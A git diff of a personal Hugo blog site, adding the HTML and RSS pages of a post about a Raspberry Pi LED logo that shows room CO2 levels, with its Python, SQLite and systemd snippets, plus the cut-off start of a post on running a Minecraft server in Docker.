    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/fabrication/page/1/index.html b/public/tags/fabrication/page/1/index.html new file mode 100644 index 0000000..a854396 --- /dev/null +++ b/public/tags/fabrication/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/ + \ No newline at end of file diff --git a/public/tags/flask/index.html b/public/tags/flask/index.html new file mode 100644 index 0000000..6b4f8f7 --- /dev/null +++ b/public/tags/flask/index.html @@ -0,0 +1,12 @@ +Flask | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/flask/index.xml b/public/tags/flask/index.xml new file mode 100644 index 0000000..f106f0b --- /dev/null +++ b/public/tags/flask/index.xml @@ -0,0 +1,368 @@ +Flask on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/Recent content in Flask on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +]]>
    \ No newline at end of file diff --git a/public/tags/flask/page/1/index.html b/public/tags/flask/page/1/index.html new file mode 100644 index 0000000..e824659 --- /dev/null +++ b/public/tags/flask/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/ + \ No newline at end of file diff --git a/public/tags/geyser/index.html b/public/tags/geyser/index.html new file mode 100644 index 0000000..9257d06 --- /dev/null +++ b/public/tags/geyser/index.html @@ -0,0 +1,10 @@ +Geyser | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/geyser/index.xml b/public/tags/geyser/index.xml new file mode 100644 index 0000000..6b07eff --- /dev/null +++ b/public/tags/geyser/index.xml @@ -0,0 +1,259 @@ +Geyser on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/Recent content in Geyser on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
